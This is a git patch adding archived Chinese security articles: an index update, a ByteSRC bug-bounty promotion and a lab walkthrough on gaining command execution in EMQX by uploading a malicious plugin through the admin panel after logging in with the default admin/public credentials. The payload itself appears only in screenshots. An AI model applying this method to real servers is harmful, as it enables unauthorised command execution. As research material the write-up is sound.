From 4aa6448afa48d82db1c6dd6a2ddc8b23fa9cc494 Mon Sep 17 00:00:00 2001 From: test Date: Thu, 29 May 2025 08:26:50 +0000 Subject: [PATCH] =?UTF-8?q?EMQX=E5=90=8E=E5=8F=B0=E6=8F=92=E4=BB=B6?= =?UTF-8?q?=E5=91=BD=E4=BB=A4=E6=89=A7=E8=A1=8C=E3=80=81=E7=AB=AF=E5=8D=88?= =?UTF-8?q?=E6=B4=BB=E5=8A=A8=E5=BC=80=E5=90=AF=EF=BC=81=E7=99=BD=E7=9B=92?= =?UTF-8?q?+=E9=BB=91=E7=9B=92=E5=8F=8C=E4=BF=AE=E6=9D=A5=E8=A2=AD?= =?UTF-8?q?=EF=BC=81=E7=9F=A5=E5=90=8D=E5=B0=8F=E6=9C=8B=E5=8F=8B=EF=BC=88?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=E5=AE=A1=E8=AE=A1=EF=BC=89=E8=81=94=E6=89=8B?= =?UTF-8?q?=E5=9C=B0=E5=9B=BE=E5=A4=A7=E5=B8=88=EF=BC=88=E4=BC=81=E4=B8=9A?= =?UTF-8?q?SRC=E6=BC=8F=E6=B4=9E=E6=8C=96=E6=8E=98=EF=BC=89=EF=BC=8C?= =?UTF-8?q?=E7=AB=AF=E5=8D=88=E8=8A=82=E9=99=90=E6=97=B6=E5=A4=A7=E6=94=BE?= =?UTF-8?q?=E4=BB=B7=EF=BC=81=E3=80=81=E6=BC=8F=E6=B4=9E=E8=87=B4=E5=91=BD?= =?UTF-8?q?=E4=B8=BB=E4=B9=89=E5=B7=B2=E7=BB=8F=E7=BB=93=E6=9D=9F=EF=BC=9A?= =?UTF-8?q?=E4=B8=BA=E4=BB=80=E4=B9=88=E8=BA=AB=E4=BB=BD=E5=A8=81=E8=83=81?= =?UTF-8?q?=E9=A2=84=E9=98=B2=E6=98=AF=E7=BD=91=E7=BB=9C=E5=AE=89=E5=85=A8?= =?UTF-8?q?=E7=9A=84=E6=9C=AA=E6=9D=A5=E3=80=81=E2=80=8B=E2=80=8BCVE-2025-?= =?UTF-8?q?24813=20Apache=20Tomcat=20RCE=20=E6=BC=8F=E6=B4=9E=E6=B7=B1?= =?UTF-8?q?=E5=BA=A6=E8=A7=A3=E6=9E=90=E4=B8=8E=20PoC=E3=80=81=E5=A6=82?= =?UTF-8?q?=E4=BD=95=E9=80=9A=E8=BF=87=E4=B8=80=E4=B8=AASSRF=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E6=8C=96=E5=87=BA=E7=99=BE=E4=B8=87=E7=94=A8=E6=88=B7?= =?UTF-8?q?=E6=95=B0=E6=8D=AE=E3=80=81=E4=B8=8D=E5=AE=B9=E5=BF=BD=E8=A7=86?= =?UTF-8?q?=E7=9A=84=E5=A8=81=E8=83=81=EF=BC=9A=E6=8E=A2=E7=B4=A2=E4=B8=8E?= =?UTF-8?q?JWT=E7=9B=B8=E5=85=B3=E6=BC=8F=E6=B4=9E=EF=BC=88=E5=8F=A6?= =?UTF-8?q?=E7=B1=BB=E7=9A=84=E8=B6=8A=E6=9D=83=EF=BC=89=E3=80=81SSRF?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E8=AF=A6=E7=BB=86=E8=AE=B2=E8=A7=A3=EF=BC=9A?= =?UTF-8?q?=E6=94=BB=E5=87=BB=E8=80=85=E6=98=AF=E6=80=8E=E4=B9=88=E2=80=9C?= =?UTF-8?q?=E9=AA=97=E2=80=9D=E6=9C=8D=E5=8A=A1=E5=99=A8=E5=8F=91=E8=B5=B7?= =?UTF-8?q?=E8=AF=B7=E6=B1=82=E7=9A=84=E3=80=81=E3=80=90=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E9=80=9A=E5=91=8A=E3=80=91Google=20Chrome=20V8=E8=B6=8A?= =?UTF-8?q?=E7=95=8C=E5=86=99=E5=85=A5=E6=BC=8F=E6=B4=9E(CVE-2025-5280)?= =?UTF-8?q?=E3=80=81=E7=BE=8E=E5=9B=BD=E5=AE=87=E8=88=AA=E5=B1=80=E5=BC=80?= =?UTF-8?q?=E6=BA=90=E8=BD=AF=E4=BB=B6=E4=B8=AD=E7=88=86=E5=87=BA=E5=A4=A7?= =?UTF-8?q?=E9=87=8F=E4=B8=A5=E9=87=8D=E6=BC=8F=E6=B4=9E=E3=80=81=E5=88=9B?= =?UTF-8?q?=E5=AE=87=E5=AE=89=E5=85=A8=E6=99=BA=E8=84=91=20|=20vBulletin?= =?UTF-8?q?=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C=EF=BC=88?= =?UTF-8?q?CVE-2025-48827=E2=88=95CVE-2025-48828=EF=BC=89=E7=AD=8984?= =?UTF-8?q?=E4=B8=AA=E6=BC=8F=E6=B4=9E=E5=8F=AF=E6=A3=80=E6=B5=8B=E3=80=81?= =?UTF-8?q?ByteSRC=E5=85=A8=E5=9F=9F3=E5=80=8D=E7=A7=AF=E5=88=86=EF=BC=81?= =?UTF-8?q?=E5=8D=95=E4=B8=AA=E6=BC=8F=E6=B4=9E=E6=9C=80=E9=AB=9815w?= =?UTF-8?q?=EF=BC=81=E9=80=81Apple=E5=85=A8=E5=AE=B6=E6=A1=B6=EF=BC=81?= =?UTF-8?q?=E3=80=81=E5=BE=AE=E8=BD=AFOneDrive=E4=B8=A5=E9=87=8D=E5=AE=89?= =?UTF-8?q?=E5=85=A8=E6=BC=8F=E6=B4=9E=EF=BC=9AOAuth=E6=9D=83=E9=99=90?= =?UTF-8?q?=E6=BB=A5=E7=94=A8=EF=BC=8C=E6=95=B0=E6=8D=AE=E6=B3=84=E9=9C=B2?= =?UTF-8?q?=E9=A3=8E=E9=99=A9=E9=AB=98=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 14 +- ...漏洞最高15w！送Apple全家桶！.md | 258 ++++ doc/2025-05/EMQX后台插件命令执行.md | 132 ++ ...怎么“骗”服务器发起请求的.md | 1220 +++++++++++++++++ ...he Tomcat RCE 漏洞深度解析与 PoC.md | 133 ++ ...ome V8越界写入漏洞(CVE-2025-5280).md | 44 + ...与JWT相关漏洞（另类的越权）.md | 188 +++ ...VE-2025-48828）等84个漏洞可检测.md | 452 ++++++ ...个SSRF漏洞挖出百万用户数据.md | 349 +++++ ...uth权限滥用，数据泄露风险高.md | 139 ++ ...份威胁预防是网络安全的未来.md | 50 + ...挖掘），端午节限时大放价！.md | 212 +++ ...开源软件中爆出大量严重漏洞.md | 95 ++ 13 files changed, 3285 insertions(+), 1 deletion(-) create mode 100644 doc/2025-05/ByteSRC全域3倍积分！单个漏洞最高15w！送Apple全家桶！.md create mode 100644 doc/2025-05/EMQX后台插件命令执行.md create mode 100644 doc/2025-05/SSRF漏洞详细讲解：攻击者是怎么“骗”服务器发起请求的.md create mode 100644 doc/2025-05/​​CVE-2025-24813 Apache Tomcat RCE 漏洞深度解析与 PoC.md create mode 100644 doc/2025-05/【漏洞通告】Google Chrome V8越界写入漏洞(CVE-2025-5280).md create mode 100644 doc/2025-05/不容忽视的威胁：探索与JWT相关漏洞（另类的越权）.md create mode 100644 doc/2025-05/创宇安全智脑 vBulletin远程代码执行（CVE-2025-48827∕CVE-2025-48828）等84个漏洞可检测.md create mode 100644 doc/2025-05/如何通过一个SSRF漏洞挖出百万用户数据.md create mode 100644 doc/2025-05/微软OneDrive严重安全漏洞：OAuth权限滥用，数据泄露风险高.md create mode 100644 doc/2025-05/漏洞致命主义已经结束：为什么身份威胁预防是网络安全的未来.md create mode 100644 doc/2025-05/端午活动开启！白盒+黑盒双修来袭！知名小朋友（代码审计）联手地图大师（企业SRC漏洞挖掘），端午节限时大放价！.md create mode 100644 doc/2025-05/美国宇航局开源软件中爆出大量严重漏洞.md diff --git a/data.json b/data.json index 0da001a6..30a2dfcf 100644 --- a/data.json +++ b/data.json @@ -14589,5 +14589,17 @@ "https://mp.weixin.qq.com/s?__biz=MzI0MTUwMjQ5Nw==&mid=2247488861&idx=1&sn=36092d38e428c6737bfc7a2291f944c2": "逻辑漏洞-使用 SSO 登录进行帐户接管", "https://mp.weixin.qq.com/s?__biz=MzU1NzczNTM1MQ==&mid=2247485328&idx=2&sn=d8fcb14e80a40517b3c3d4a7f6a9a3be": "​​CVE-2025-21333 漏洞深度解析与 PoC", "https://mp.weixin.qq.com/s?__biz=MzIxNTIzNTExMQ==&mid=2247491713&idx=1&sn=35eb54f2e0199e3f7f5de84f67709c3e": "白盒Sign加密到前台SQL注入漏洞", - "https://mp.weixin.qq.com/s?__biz=MzkzNzQyMDkxMQ==&mid=2247488205&idx=1&sn=07a9e01c17f5cfb38760b833ca7154e5": "ofcms的XXE漏洞分析" + "https://mp.weixin.qq.com/s?__biz=MzkzNzQyMDkxMQ==&mid=2247488205&idx=1&sn=07a9e01c17f5cfb38760b833ca7154e5": "ofcms的XXE漏洞分析", + "https://mp.weixin.qq.com/s?__biz=MzAwMjQ2NTQ4Mg==&mid=2247499234&idx=1&sn=302778f0d6709a3b6ba6e7002fe7ed2a": "EMQX后台插件命令执行", + "https://mp.weixin.qq.com/s?__biz=MzkyMjM5NDM3NQ==&mid=2247486510&idx=1&sn=7a0166be0ab7a08b67e8717c0a493179": "端午活动开启！白盒+黑盒双修来袭！知名小朋友（代码审计）联手地图大师（企业SRC漏洞挖掘），端午节限时大放价！", + "https://mp.weixin.qq.com/s?__biz=MzA4MzMzOTQ4Mw==&mid=2453672669&idx=1&sn=71417cae2e7bee44452d6b0b59147419": "漏洞致命主义已经结束：为什么身份威胁预防是网络安全的未来", + "https://mp.weixin.qq.com/s?__biz=MzU1NzczNTM1MQ==&mid=2247485328&idx=3&sn=e9f38cccf7a23f748be4b9a79a4fe179": "​​CVE-2025-24813 Apache Tomcat RCE 漏洞深度解析与 PoC", + "https://mp.weixin.qq.com/s?__biz=MzkxNjc0ODA3NQ==&mid=2247483959&idx=1&sn=c804f2123e5364505e6d5b5ce8c556c2": "如何通过一个SSRF漏洞挖出百万用户数据", + "https://mp.weixin.qq.com/s?__biz=Mzk0MzYyMjEzMQ==&mid=2247489499&idx=1&sn=5c212d09a83dfe975227bc478b0114df": "不容忽视的威胁：探索与JWT相关漏洞（另类的越权）", + "https://mp.weixin.qq.com/s?__biz=Mzk0MzYyMjEzMQ==&mid=2247489500&idx=1&sn=59a42b9399b76744b3f91a726a0a112b": "SSRF漏洞详细讲解：攻击者是怎么“骗”服务器发起请求的", + "https://mp.weixin.qq.com/s?__biz=MzkzNzY5OTg2Ng==&mid=2247501121&idx=2&sn=50940420fb1e9fde2dce1f8f6a5226ae": "【漏洞通告】Google Chrome V8越界写入漏洞(CVE-2025-5280)", + "https://mp.weixin.qq.com/s?__biz=MzkxNTI2MTI1NA==&mid=2247503379&idx=1&sn=88acd40380c32f491190c22bcf675915": "美国宇航局开源软件中爆出大量严重漏洞", + "https://mp.weixin.qq.com/s?__biz=MzIwNjU0NjAyNg==&mid=2247491176&idx=1&sn=42c85804ebaac536b5d7e05b29a97a4f": "创宇安全智脑 | vBulletin远程代码执行（CVE-2025-48827∕CVE-2025-48828）等84个漏洞可检测", + "https://mp.weixin.qq.com/s?__biz=Mzk3NTk1NjM1MQ==&mid=2247487891&idx=1&sn=f5a635e1b59af1e7fa79da35637b1d98": "ByteSRC全域3倍积分！单个漏洞最高15w！送Apple全家桶！", + "https://mp.weixin.qq.com/s?__biz=MzIzNDU5NTI4OQ==&mid=2247489351&idx=1&sn=62a05afe4fae8a7a497cdb2a52eb4047": "微软OneDrive严重安全漏洞：OAuth权限滥用，数据泄露风险高" } \ No newline at end of file diff --git a/doc/2025-05/ByteSRC全域3倍积分！单个漏洞最高15w！送Apple全家桶！.md b/doc/2025-05/ByteSRC全域3倍积分！单个漏洞最高15w！送Apple全家桶！.md new file mode 100644 index 00000000..66f3c68c --- /dev/null +++ b/doc/2025-05/ByteSRC全域3倍积分！单个漏洞最高15w！送Apple全家桶！.md @@ -0,0 +1,258 @@ +# ByteSRC全域3倍积分！单个漏洞最高15w！送Apple全家桶！ +ByteSRC Day1安全团队 2025-05-29 06:32 + +ByteSRC全线业务多倍激励活动上线！ + +**3倍积分！Apple全家桶！千元现金！** + +**团队奖励！双倍卡统统安排～** + +四重激励矩阵全面启动，等你解锁！ +👏 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3bakiaoZSWMdyq7BIljE4N2JqfPqsqH2BJ7MD6y2R8F0qWD8YZFYaph5jA/640?wx_fmt=png&from=appmsg "") + + + +**活动时间** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba6YWjJ5f7e7Epzuhe8zTpnxJnfoQ2G4TgxsdRzyo0I2lHFrtWGoaBrQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba2icDMZ2zTYTgwbVJ98E9PlLaHFuNvVBvr1vVNerPjjKBXjj1u3KjKicg/640?wx_fmt=png&from=appmsg "") + + +5月29日-6月16日 + + + +**奖励范围** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba6YWjJ5f7e7Epzuhe8zTpnxJnfoQ2G4TgxsdRzyo0I2lHFrtWGoaBrQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba2icDMZ2zTYTgwbVJ98E9PlLaHFuNvVBvr1vVNerPjjKBXjj1u3KjKicg/640?wx_fmt=png&from=appmsg "") + + +全线业务 + + + +**四重奖励** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba6YWjJ5f7e7Epzuhe8zTpnxJnfoQ2G4TgxsdRzyo0I2lHFrtWGoaBrQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba2icDMZ2zTYTgwbVJ98E9PlLaHFuNvVBvr1vVNerPjjKBXjj1u3KjKicg/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3baMQxZiatkOLeE6LwsDHR9Ugg3lk6o1T6GJpXxXwN4JuhNDdQqjj9Liacg/640?wx_fmt=png&from=appmsg "") + + +奖励一：全线业务 多倍激励 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba6YWjJ5f7e7Epzuhe8zTpnxJnfoQ2G4TgxsdRzyo0I2lHFrtWGoaBrQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba2icDMZ2zTYTgwbVJ98E9PlLaHFuNvVBvr1vVNerPjjKBXjj1u3KjKicg/640?wx_fmt=png&from=appmsg "") + + +严重、高危 +**3倍** +积分 + +中危、低危  +**2倍** +积分 + +👇 翻倍奖励详情 🔎 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3baibx6B5r5OOYo1Jd81ATD9dUzP0JDFlqxMFBeic8oPhExHXl2faLXkrfQ/640?wx_fmt=png&from=appmsg "") + +（翻倍特指基础积分，成长体系加成部分不参与翻倍） + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3baMQxZiatkOLeE6LwsDHR9Ugg3lk6o1T6GJpXxXwN4JuhNDdQqjj9Liacg/640?wx_fmt=png&from=appmsg "") + + +奖励二：伯乐有礼 多邀多得 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba6YWjJ5f7e7Epzuhe8zTpnxJnfoQ2G4TgxsdRzyo0I2lHFrtWGoaBrQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba2icDMZ2zTYTgwbVJ98E9PlLaHFuNvVBvr1vVNerPjjKBXjj1u3KjKicg/640?wx_fmt=png&from=appmsg "") + + +活动期间，老用户邀请新用户提交有效高危/严重漏洞： + +推荐≥1人，伯乐可得2000元/人，受邀人同享2000元/人 + +推荐≥3人， +伯乐可得iphone16 512GB，受邀人同享3000元/人 + +推荐≥5人，伯乐可得 +**豪华版Apple全家桶** +，受邀人同享5000元/人 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba5bnBqEvVice7mwLruzHwAPU1Ozys7GfYtnibzeXvTbVmeiahSqlB5wyRg/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3baI1KOrXfKU2442anLqZ2pZiaQWmHaWAZLrvmQIDB1fJN8aFdaLnde08w/640?wx_fmt=png&from=appmsg "") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3baueP1dibg0w5uCB4UnS30VLeP2R9AoibS5jwvB56acsKnlmR0cFKQvGkA/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3baiaFkwyfAjDricukbxaMTicdmkDiaQttHEdn6UStqkXrgGEtjxt7PqyC9EA/640?wx_fmt=png&from=appmsg "") + + +*新用户定义：2025未提交过有效高危/严重漏洞的用户 + +*全家桶：MacBookPro14英寸M4(10+10核) 16G 512G、iphone16 512GB、Apple watch S10、AirPods 4 + +*伯乐有礼规则说明：受邀人需在标题备注伯乐ID，奖金以ID计数，多邀多得，未备注则默认不参加伯乐有礼活动。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3baMQxZiatkOLeE6LwsDHR9Ugg3lk6o1T6GJpXxXwN4JuhNDdQqjj9Liacg/640?wx_fmt=png&from=appmsg "") + + +奖励三：萌新上路 赢双倍卡 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba6YWjJ5f7e7Epzuhe8zTpnxJnfoQ2G4TgxsdRzyo0I2lHFrtWGoaBrQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba2icDMZ2zTYTgwbVJ98E9PlLaHFuNvVBvr1vVNerPjjKBXjj1u3KjKicg/640?wx_fmt=png&from=appmsg "") + + +活动期间，提交任意有效漏洞，享有双重奖励： + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba3gicJa6LlJTXO3qe6Isrwgy6ZauzjOObNduLcKMo9Jl5RaQianUxHK5w/640?wx_fmt=png&from=appmsg "") + +# 双倍卡1张 # + + +# 抖音文创抱枕1个 #  + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3baSUibZiaRzF4mXz5xDYQxxFmx3fLL9GfsWozjADqrL5bMj4Yq2XsibmibicQ/640?wx_fmt=png&from=appmsg "") + + + + +*每人1个抱枕/双倍卡，以id计数 + +*双倍卡可翻倍任意漏洞，限6/20-7/20使用， +使用时需在标题备注「双倍卡」 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3baMQxZiatkOLeE6LwsDHR9Ugg3lk6o1T6GJpXxXwN4JuhNDdQqjj9Liacg/640?wx_fmt=png&from=appmsg "") + + +奖励四：团队协作 共筑荣耀 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba6YWjJ5f7e7Epzuhe8zTpnxJnfoQ2G4TgxsdRzyo0I2lHFrtWGoaBrQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba2icDMZ2zTYTgwbVJ98E9PlLaHFuNvVBvr1vVNerPjjKBXjj1u3KjKicg/640?wx_fmt=png&from=appmsg "") + + +活动积分TO1团队 奖励 +**8000元** +团建基金 + +活动积分TO2团队 奖励**5000元** +团建基金 + +活动积分TO3团队 奖励 +**3000元** +团建基金 + + + +**活动说明** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba6YWjJ5f7e7Epzuhe8zTpnxJnfoQ2G4TgxsdRzyo0I2lHFrtWGoaBrQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba2icDMZ2zTYTgwbVJ98E9PlLaHFuNvVBvr1vVNerPjjKBXjj1u3KjKicg/640?wx_fmt=png&from=appmsg "") + + +1、报告提交地址：src.bytedance.com + +2、活动奖励发放说明：无需备注，活动期间提交有效漏洞，默认享有活动奖励；平台仅发放基础积分，活动额外奖励将由运营单独登记发放，奖励情况将在活动群公示。 + +3、团队奖励说明：团建基金由队长统一分配；师傅们记得先加入团队，再提交漏洞，才算团队积分哦！ + +4、活动期间所有报告依据《报告处置规则V6.0》进行等级判定与奖励 + +5、活动期间有任何问题可通过平台留言&邮箱：src@bytedance.com 联系我们 + +6、欢迎加入官方活动群，组队交流，上分冲冲冲～ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3baP2F3yUfyRCeSFMgTGR2Y9XwDV42KRsEUTwCS18x8UNS3Cl1s1odicvw/640?wx_fmt=png&from=appmsg "") + +二维码有效期至6月4日 + + + +**划重点！高系数业务一览！** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba6YWjJ5f7e7Epzuhe8zTpnxJnfoQ2G4TgxsdRzyo0I2lHFrtWGoaBrQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3ba2icDMZ2zTYTgwbVJ98E9PlLaHFuNvVBvr1vVNerPjjKBXjj1u3KjKicg/640?wx_fmt=png&from=appmsg "") + + +高系数高危漏洞6w元起步！ + +严重漏洞最高可得15w元！ + +***今日头条** + +***飞书** + +***豆包** + +***抖音：** +抖音APP、抖音极速版APP、douyin.com、creator.douyin.com + +***抖音电商：** +商家后台、飞鸽、开放平台、Buyin、罗盘、C端商城 + +***财经：** +抖音支付、抖音月付、放心借、保险 + +***西瓜视频** +：西瓜视频APP、www.ixigua.com、studio.ixigua.com + +***生活服务：** +抖音来客、抖音林客、集星、团购、同城 + +***火山引擎** +：计算（弹性计算、混合云、操作系统）、网络（云上网络、混合云网络、跨地域网络）、存储（基础存储服务、数据迁移与工具）、数据库、安全、控制台、人工智能与机器学习（机器学习：豆包大模型、火山方舟、扣子专业版、HiAgent、机器学习平台、veOmniverse） + +***BytePlus：** +Compute、Networking、Storage、Database、Security、Console + + +完整版详见官网「ByteSRC报告处置规则V6.0」 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3baqzNevkDLNEjGibvm27SpzgZWesTelIFGwpMsiaV6p5UHrlestFVCO37g/640?wx_fmt=png&from=appmsg "") + + + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrs3zKBe9A531Q1khZjr3baQNnrt66CHqTiaCmLlhDZVNo4OU5h9BicsWsNK0icEX1VEnKlK8libibTSwQ/640?wx_fmt=png&from=appmsg "") + +**互动有礼** + +分享本文至朋友圈/白帽社群 + +扫码抽奖 + +选3位小伙伴送出抖音文创充电宝、安全范儿背包 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/jZq1FgibeKBIzkxG9dfLOzBbGkxFicR6UQFEsgbv2hGy4MHicamAEJdXnnjLx5KNeOiboOwI4zAWLdZfgPKDFqZu9g/640?wx_fmt=jpeg&from=appmsg "") + + + diff --git a/doc/2025-05/EMQX后台插件命令执行.md b/doc/2025-05/EMQX后台插件命令执行.md new file mode 100644 index 00000000..5d8368b4 --- /dev/null +++ b/doc/2025-05/EMQX后台插件命令执行.md @@ -0,0 +1,132 @@ +# EMQX后台插件命令执行 + Khan安全团队 2025-05-29 02:20 + +欢迎转发，请勿抄袭 +        EMQX（简称 EMQ）是一款完全开源、高度可伸缩且高可用的分布式 MQTT 消息服务器。它不仅支持 MQTT 协议，还支持其他 IoT 协议如 CoAP/LwM2M 等，适用于物联网（IoT）、机器对机器（M2M）通信以及移动应用程序。常用于物联网设备与web控制的系统。 + +一 + +**前置条件** + +1、有账号密码 + +2、版本<5.8.6 版本 + +二 + +靶场制作 + +准备一个EMQX环境，本次测试环境使用docker部署。 +``` +docker pull emqx/emqx-enterprise:5.5.1 +docker run -d --name emqx-enterprise -p 1883:1883 -p 8083:8083 -p 8084:8084 -p 8883:8883 -p 18083:18083 emqx/emqx-enterprise:5.5.1 +``` + +运行容器后访问 +http://ip:18083 +登录页面如下： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BDzX6q5EsXmt8N6jjEeuRAkuqabewUy2iaK9PIZ1lA957zjVKK85gqskCRNMyiac7IOc1vicCoYzfD58iasuRTniaiaA/640?wx_fmt=png&from=appmsg "") + +使用默认口令admin/public(提示密码需要修改，点击跳过即可) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BDzX6q5EsXmt8N6jjEeuRAkuqabewUy2KZrv8WE9keYWaqbhUuWBtKUSxBEhWrAoY5060PcNyVzEhGict748exQ/640?wx_fmt=png&from=appmsg "") + +可根据左下方确认版本。 + +三 + +**制作恶意插件** + +以kali系统镜像制作编译插件环境 + +1、配置网络代理，需要下载依赖 +``` +export http_proxy=http://192.168.160.1:10809 +export https_proxy=http://192.168.160.1:10809 +``` + + +2、安装相关软件以及依赖 + +``` +sudo apt update +sudo apt install -y build-essential autoconf libncurses5-dev libssl-dev libwxgtk3.2-dev libgl1-mesa-dev libglu1-mesa-dev libpng-dev libssh-dev unixodbc-dev cmake +git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.13.1 +echo '. "$HOME/.asdf/asdf.sh"' >> ~/.bashrc +echo '. "$HOME/.asdf/completions/asdf.bash"' >> ~/.bashrc +source ~/.bashrc +asdf --version +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BDzX6q5EsXmt8N6jjEeuRAkuqabewUy2huTandlMyX6GIMWN74vk7044IetXX9Ix2c4oyP3gTgFlEnSJD03Upg/640?wx_fmt=png&from=appmsg "") + +3、安装erlang、rebar3 +``` +asdf plugin-add erlang https://github.com/asdf-vm/asdf-erlang.git +asdf install erlang 25.3 +asdf global erlang 25.3 +wget https://s3.amazonaws.com/rebar3/rebar3 +chmod +x rebar3 +sudo mv rebar3 /usr/local/bin/ +``` + + +4、创建插件 +``` +rebar3 new emqx-plugin my_emqx_plugin +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BDzX6q5EsXmt8N6jjEeuRAkuqabewUy2CEMFF1LK50UCLzlQNF3vgOiaCLdqZbHeYt3va3cUObg9JH4oeHmicibdA/640?wx_fmt=png&from=appmsg "") + +5、修改恶意执行脚本 +``` +vim my_emqx_plugin/src/my_emqx_plugin.erl +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BDzX6q5EsXmt8N6jjEeuRAkuqabewUy2yDdiaMuIZ0Apvqj2zbJVsXlCGmp6xeQzzmkt7Xeenog5qoQRubxMMnQ/640?wx_fmt=png&from=appmsg "") + +6、编译插件并复制出来 +``` +make -C my_emqx_plugin rel +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BDzX6q5EsXmt8N6jjEeuRAkuqabewUy2yWNwx5rPGtlMJiccsbqFhjY4fDIibI60xfk0SDGwFaw4hWAic85unDKXg/640?wx_fmt=png&from=appmsg "") +``` +cp my_emqx_plugin/_build/default/emqx_plugrel/my_emqx_plugin-1.0.0.tar.gz . +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BDzX6q5EsXmt8N6jjEeuRAkuqabewUy2h0pqHQI3biaWdia6a2bOSJLsbpRUjRYhLVt1n2n4wyK03ibQ3V0kxb3Lg/640?wx_fmt=png&from=appmsg "") + +四 + +**7、执行恶意插件** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BDzX6q5EsXmt8N6jjEeuRAkuqabewUy2w4LWvwGZqxveI9VfFwbu91H7wjianqKicdZw2I7fRvj646rfWXFsdfibw/640?wx_fmt=png&from=appmsg "") + +将刚才生成的恶意插件上传到后台，并启动插件。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BDzX6q5EsXmt8N6jjEeuRAkuqabewUy2heMARbWvUUXtOSuj41ibuJGrca8HaAHSb573pnziaH4cuAI9qyUQNbtQ/640?wx_fmt=png&from=appmsg "") + +执行完后到服务器查看tmp目录 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BDzX6q5EsXmt8N6jjEeuRAkuqabewUy2V7OFhDm8UW7EkiaYAXicJaWsTegHXRYWQDKMicFRf5poYBQ58FjZq0Z1A/640?wx_fmt=png&from=appmsg "") + +tis：高版本默认不开启插件安装功能。安装什么插件就得执行允许安装什么插件的命令。 + 